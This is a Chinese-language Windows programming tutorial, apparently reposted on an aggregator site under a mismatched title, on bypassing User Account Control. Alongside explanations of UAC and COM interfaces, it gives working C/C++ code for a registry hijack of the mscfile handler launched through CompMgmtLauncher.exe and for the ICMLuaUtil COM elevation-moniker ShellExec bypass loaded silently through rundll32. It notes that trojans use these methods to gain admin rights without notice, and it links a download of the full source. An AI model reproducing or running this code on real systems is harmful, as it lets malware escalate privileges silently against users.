windows获取硬件设备的guid_Windows编程技术:提权技术(下)
? ?前面學了“令牌權限提升”,今天來看下繞過UAC,這么多年都在討論繞過UAC,確實也產生了許許多多的繞過方法,我們還是結合代碼來看基本的方法。里面加入了一些COM接口的基本知識。
? ? ?UAC(User Account Control)是微軟在Windows VISTA以后版本中引入的一種安全機制,通過UAC,應用程序和任務可始終在非管理員賬戶的安全上下文中運行,除非特別授予管理員級別的系統訪問權限。UAC可以阻止未授權的應用程序自動進行安裝,并防止無意地更改系統。
? ? ?UAC需要授權的動作包括:配置Windows Update、增加或刪除用戶賬戶、改變用戶賬戶的類型、改變UAC設置、安裝ActiveX、安裝或移除程序、安裝設備驅動程序、設置家長控制、將文件移動或復制到Program Files或Windows目錄、查看其他用戶文件夾等。
? ? 觸發UAC時,系統會創建一個consent.exe進程,該進程通過白名單程序和用戶選擇來判斷是否創建管理員權限進程。請求進程將要請求的進程cmdline和進程路徑通過LPC接口傳遞給 appinfo 的 RAiLuanchAdminProcess 函數。流程如下:
該函數首選驗證路徑是否在白名單中
接著將結果傳遞給consent.exe進程
該進程驗證請求進程的簽名以及發起者的權限是否符合要求后,決定是否彈出UAC窗口讓用戶確認
UAC窗口會創建新的安全桌面,屏蔽之前的界面,同時UAC窗口進程是系統權限進程,其他普通進程無法和其進行通信交互,用戶確認后,調用 CreateProcessAsUser 函數以管理員身份啟動請求的進程。
? ? 病毒木馬如果想要實現更多的權限操作,那么就不得不繞過UAC彈窗,在沒有通知用戶的情況下,靜默地將程序的普通權限提升為管理員權限,從而使程序可以實現一些需要權限的操作。目前實現Bypass UAC主要有兩種方法:
一種是利用白名單提權機制
一種是利用COM組件接口技術
一、基于白名單程序的Bypass UAC
有些系統程序可以直接獲取管理員權限,而不觸發UAC彈框,這類程序成為白名單程序。例如:slui.exe、wusa.exe、taskmgr.exe、msra.exe、eudcedit.exe、eventvwr.exe、CompMgmtLauncher.exe等等。這些白名單程序可以通過DLL劫持、注入或是修改注冊表執行命令的方式啟動目標程序,實現Bypass UAC提權操作。
int _tmain(int argc, _TCHAR* argv[])
{
BOOL bRet = FALSE;
PVOID OldValue = NULL;
// 關閉文件重定位
::Wow64DisableWow64FsRedirection(&OldValue);
// 修改注冊表
bRet = SetReg("C:\\Windows\\System32\\cmd.exe");
????????// 運行 CompMgmtLauncher.exe
system("CompMgmtLauncher.exe");
printf("Run OK!\n");
// 恢復文件重定位
::Wow64RevertWow64FsRedirection(OldValue);
system("pause");
return 0;
}
BOOL SetReg(char *lpszExePath)
{
HKEY hKey = NULL;
// 創建項
::RegCreateKeyEx(HKEY_CURRENT_USER, "Software\\Classes\\mscfile\\Shell\\Open\\Command", 0, NULL, 0, KEY_WOW64_64KEY | KEY_ALL_ACCESS, NULL, &hKey, NULL);
// 設置鍵值
::RegSetValueEx(hKey, NULL, 0, REG_SZ, (BYTE *)lpszExePath, (1 + ::lstrlen(lpszExePath)));
// 關閉注冊表
::RegCloseKey(hKey);
return TRUE;
}
程序成功利用白名單程序實現了Bypass UAC提權操作,并向注冊表中寫入cmd程序并啟動,其實這也算一種利用白名單的程序劫持,最終效果如下圖,
沒什么難度,不過多解釋了。
二、基于COM組件接口的Bypass UAC
1、簡介COM知識
COM的全稱是Component Object Module,組件對象模型。組件就我自己的理解就是將各個功能部分編寫成可重用的模塊,程序就好像搭積木一樣由這些可重用模塊構成,這樣將各個模塊的耦合降到最低,以后升級修改功能只需要修改某一個模塊,這樣就大大降低了維護程序的難度和成本,提高程序的可擴展性。
在習慣上接口通常是以"I"開頭。對象通過接口成員函數為客戶提供各種形式的服務。一個對象可以擁有多個不同的接口,以表現不同的功能集合。
COM中所有接口都派生自該接口:
struct IUnknown{
virtual HRESULT QueryInterface(REFIID riid,void **ppvObject) = 0;
virtual ULONG AddRef( void) = 0;
virtual ULONG Release( void) = 0;
};
所有類都應該實現上述三個方法:
AddRef主要將接口的引用計數+1,?
Release則是將引用計數 -1,當對象的引用計數為0,則會調用析構函數,釋放對象的存儲空間。每一次接口的創建和轉化都會增加引用計數,而每次不再使用調用Release,都會把引用計數 -1,當引用計數為0時會釋放對象的空間。QueryInterface主要用來進行接口轉化,將對象的指針轉化為另外一個接口的指針,就好像上面例子中pInter2 = pInterface->QueryInterface(ID_APPLIANCES);這句代碼將之前的Ibook接口轉化為電子產品的接口。在C++中也就是做了一次強制類型轉化。
在COM中,對象本身對于客戶來說是不可見的,客戶請求服務時,只能通過接口進行。每一個接口都由一個128位的全局唯一標識符(GUID,Global Unique Identifier)來標識。客戶通過GUID來獲得接口的指針,再通過接口指針,客戶就可以調用其相應的成員函數。與接口類似,每個組件也用一個 128 位 GUID 來標識,稱為 CLSID(class identifer,類標識符或類 ID),用 CLSID 標識對象可以保證(概率意義上)在全球范圍內的唯一性。
GUID定義如下:
typedef struct _GUID {unsigned long Data1;
unsigned short Data2;
unsigned short Data3;
unsigned char Data4[ 8 ];
} GUID;
而CLSID的定義如下:
typedef GUID CLSID;| IsEqualGUID | 判斷GUID是否相等 |
| IsEqualCLSID | 判斷CLSID是否相等 |
| IsEqualIID | 判斷IID是否相等 |
| CLSIDFromProgID | 把字符串形式的CLSID轉化為CLSID結構形式(類似于將字符串的234轉化為數字,也是把字面上的CLSID轉化為計算機能識別的CLSID) |
| StringFromCLSID | 把CLSID轉化為字符串形式 |
| IIDFromString | 把字符串形式的IID轉化為IID接口形式 |
| StringFromIID | 把IID結構轉化為字符串 |
| StringFromGUID2 | 把GUID形式轉化為字符串形式 |
COM接口的一般使用步驟
一般使用COM中的時候首先使用CoInitialize初始化COM環境,不用的時候使用CoUninitialize卸載COM環境,在使用接口中一般需要進行下面的步驟
調用CoCreateInstance函數傳入對應的CLSID和對應的IID,生成對應對象并傳入相應的接口指針;
使用該指針進行相關操作;
調用接口的QueryInterface函數,轉化為其他形式的接口;
在最后分別調用各個接口的Release函數,釋放接口。
2、正文
? ? COM提升名稱(COM Elevation Moniker)技術允許運行在用戶帳戶控制(UAC)下的應用程序,以提升權限的方法來激活COM類,最終提升COM接口權限。其中,ICMLuaUtil 接口提供了ShellExec方法來執行命令,創建指定進程。所以,接下來介紹的基于 ICMLuaUtil 接口的Bypass UAC的實現原理,它是利用COM提升名稱來對 ICMLuaUtil 接口提權,提權后通過調用ShellExec方法來創建指定進程,實現Bypass UAC操作。
(1)使用權限提升COM類的程序必須調通過用CoCreateInstanceAsAdmin函數來創建COM類,COM提升名稱具體的實現代碼如下:
HRESULT CoCreateInstanceAsAdmin(HWND hWnd, REFCLSID rclsid, REFIID riid, PVOID *ppVoid)
{
BIND_OPTS3 bo;
WCHAR wszCLSID[MAX_PATH] = { 0 };
WCHAR wszMonikerName[MAX_PATH] = { 0 };
HRESULT hr = 0;
// 初始化COM環境
::CoInitialize(NULL);
// 構造字符串
::StringFromGUID2(rclsid, wszCLSID, (sizeof(wszCLSID) / sizeof(wszCLSID[0])));
hr = ::StringCchPrintfW(wszMonikerName, (sizeof(wszMonikerName) / sizeof(wszMonikerName[0])), L"Elevation:Administrator!new:%s", wszCLSID);
// 設置BIND_OPTS3
::RtlZeroMemory(&bo, sizeof(bo));
bo.cbStruct = sizeof(bo);
bo.hwnd = hWnd;
bo.dwClassContext = CLSCTX_LOCAL_SERVER;
// 創建名稱對象并獲取COM對象
hr = ::CoGetObject(wszMonikerName, &bo, riid, ppVoid);
return hr;
}
執行上述代碼,即可創建并激活提升權限的COM類。
(2)ICMLuaUtil 接口通過上述方法創建后,直接調用ShellExec方法創建指定進程,完成Bypass UAC的操作。
BOOL CMLuaUtilBypassUAC(LPWSTR lpwszExecutable)
{
HRESULT hr = 0;
CLSID clsidICMLuaUtil = { 0 };
IID iidICMLuaUtil = { 0 };
ICMLuaUtil *CMLuaUtil = NULL;
BOOL bRet = FALSE;
do {
::CLSIDFromString(CLSID_CMSTPLUA, &clsidICMLuaUtil);
::IIDFromString(IID_ICMLuaUtil, &iidICMLuaUtil);
// 提權
hr = CoCreateInstanceAsAdmin(NULL, clsidICMLuaUtil, iidICMLuaUtil, (PVOID*)(&CMLuaUtil));
// 啟動程序
hr = CMLuaUtil->lpVtbl->ShellExec(CMLuaUtil, lpwszExecutable, NULL, NULL, 0, SW_SHOW);
}while(FALSE);
// 釋放
if (CMLuaUtil)?
{
CMLuaUtil->lpVtbl->Release(CMLuaUtil);
}
return bRet;
}
要注意的是,如果執行COM提升名稱代碼的程序身份是不可信的,則會觸發UAC彈窗;若可信,則不會觸發UAC彈窗。所以,要想Bypass UAC,則需要想辦法讓這段代碼在Windows的可信程序中運行。其中,可信程序有計算器、記事本、資源管理器、rundll32.exe等。
(3)因此可以通過DLL注入或是劫持等技術,將這段代碼注入到這些可信程序的進程空間中執行。其中,最簡單的莫過于直接通過rundll32.exe來加載DLL,執行COM提升名稱的代碼。利用rundll32.exe來調用自定義DLL中的導出函數,導出函數的參數和返回值是有特殊規定的,必須是如下形式。
// 導出函數給rundll32.exe調用執行
void CALLBACK BypassUAC(HWND hWnd, HINSTANCE hInstance, LPSTR lpszCmdLine, int iCmdShow)
(4)將上述Bypass UAC的代碼寫在DLL的項目工程中,同時開發Test控制臺項目工程,負責并將Bypass UAC函數導出給rundll32.exe程序調用,完成Bypass UAC工作。
int _tmain(int argc, _TCHAR* argv[])
{
char szCmdLine[MAX_PATH] = { 0 };
char szRundll32Path[MAX_PATH] = "C:\\Windows\\System32\\rundll32.exe";
char szDllPath[MAX_PATH] = "C:\\Users\\Administrator\\Desktop\\test\\BypassUAC2_Test.dll";
::sprintf_s(szCmdLine, "%s \"%s\" %s", szRundll32Path, szDllPath, "BypassUAC");
::WinExec(szCmdLine, SW_HIDE);
}
(5)測試
Bypass UAC啟動的是cmd.exe程序,所以,直接運行Test.exe即可看到cmd命令行窗口,而且窗口標題有管理員字樣。
兩個篇幅講解了進程訪問令牌權限提升和Bypass UAC(白名單和COM組件),穿插了COM的知識簡介。其實,Bypass UAC的方法有很多,對于不同的Bypass UAC方法,具體的實現過程不太一樣,需要我們不斷去摸索。同時,隨著操作系統不斷升級更新,Bypass UAC技術可能不再適應(被打補丁),但也會有新的方法出現,大家可以去github上關注UACME開源項目。
程序源碼下載地址:
鏈接:https://pan.baidu.com/s/1TfRcLZzhAvMYCN2W6nbcqA
提取碼:6s86
總結
以上是生活随笔為你收集整理的windows获取硬件设备的guid_Windows编程技术:提权技术(下)的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 全文数据库有哪些(zhangbijun1
- 下一篇: 矩阵的二范数_【专题】GAN(二)——